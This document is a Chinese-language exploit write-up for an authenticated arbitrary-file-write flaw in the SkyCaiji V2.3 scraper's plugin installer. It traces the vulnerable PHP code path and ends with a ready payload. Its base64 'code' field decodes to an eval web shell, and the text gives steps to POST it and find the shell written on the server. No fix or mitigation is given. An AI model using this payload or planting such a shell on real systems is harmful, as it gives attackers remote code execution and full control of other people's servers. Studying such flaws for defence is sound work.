蓝天采集器V2.3后台getshell

前言

蓝天采集器是一款免费的数据采集发布爬虫软件,采用php+mysql开发,可部署在云服务器,几乎能采集所有类型的网页,无缝对接各类CMS建站程序,免登录实时发布数据,全自动无需人工干预!是大数据、云时代网站数据自动化采集的最佳云端爬虫软件,2.3版本下载地址

https://github.com/zorlan/skycaiji/tree/19e77d03c8be2c4e40320ddc56213c271bc3721e

代码分析

漏洞触发点在/SkycaijiApp/admin/controller/Store.php文件中的installPluginAction函数,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function installPluginAction(){
$plugin=json_decode(base64_decode(input('post.plugin')),true);
$plugin['code']=base64_decode($plugin['code']);
if(empty($plugin['app'])){
$this->dispatchJump(false,'标识错误');
}
if(empty($plugin['name'])){
$this->dispatchJump(false,'名称错误');
}
if(empty($plugin['type'])){
$this->dispatchJump(false,'类型错误');
}
if(empty($plugin['module'])){
$this->dispatchJump(false,'模块错误');
}
if(empty($plugin['code'])){
$this->dispatchJump(false,'不是可用的程序');
}
if(!empty($plugin['tpl'])){

$plugin['tpl']=base64_decode($plugin['tpl']);
}

$newData=array('app'=>$plugin['app'],'name'=>$plugin['name'],'desc'=>$plugin['desc'],'uptime'=>$plugin['uptime']);


$newData['provider_id']=$this->_getStoreProvid($plugin['store_url']);

if($plugin['type']=='release'){

model('ReleaseApp')->addCms($newData,$plugin['code'],$plugin['tpl']);
$this->dispatchJump(true);
}elseif($plugin['type']=='func'){

$newData['module']=$plugin['module'];
model('FuncApp')->addFunc($newData,$plugin['code']);
$this->dispatchJump(true);
}else{
$this->dispatchJump(false);
}
}

函数直接接收post参数然后进行base64json解码,接着进行了判空操作,接着如果满足$plugin['type']=='release'就会调用addCms函数,跟进该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function addCms($cms,$code='',$tpl=''){
if(empty($cms['app'])){
return false;
}

$cms['module']='cms';
$cms['uptime']=$cms['uptime']>0?$cms['uptime']:NOW_TIME;
$cmsData=$this->where('app',$cms['app'])->find();
$success=false;

if(!empty($cmsData)){

$this->strict(false)->where('app',$cms['app'])->update($cms);
$success=true;
}else{
$cms['addtime']=NOW_TIME;
$this->isUpdate(false)->allowField(true)->save($cms);
$cms['id']=$this->id;
$success=$cms['id']>0?true:false;
}
if($success){
$cmsAppPath=config('plugin_path').'/release';
if(!empty($code)){

write_dir_file($cmsAppPath.'/cms/'.ucfirst($cms['app']).'.php', $code);
}
if(!empty($tpl)){

write_dir_file($cmsAppPath.'/view/cms/'.ucfirst($cms['app']).'.html', $tpl);
}
}
return $success;
}

该函数中后面如果满足$successtrue则会调用write_dir_file函数,跟进该函数

1
2
3
4
5
6
7
function write_dir_file($filename,$data,$flags=null,$content=null){
$dir = dirname($filename);
if(!is_dir($dir)){
mkdir($dir,0777,true);
}
return file_put_contents($filename,$data,$flags,$content);
}

该函数的功能是去执行写文件操作,在整个流程下来后我们会发现,该流程并没有对写入的code进行一些过滤和检查,,那么如果我们可以满足代码流程中的一些条件,就可以实现写入shell

漏洞利用

根据代码流程写出对应的json格式payload

1
{"app":"shell","name":"shell","type":"release","module":"ok","code":"PD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/Pg=="}

其中code在传入后进行了base64解码,在这里要对应的加密

接着将整段payloadbase64形式加密,最后以post形式传入进去,如图

接着去\plugin\release\cms文件夹下可以看到我们写入的shell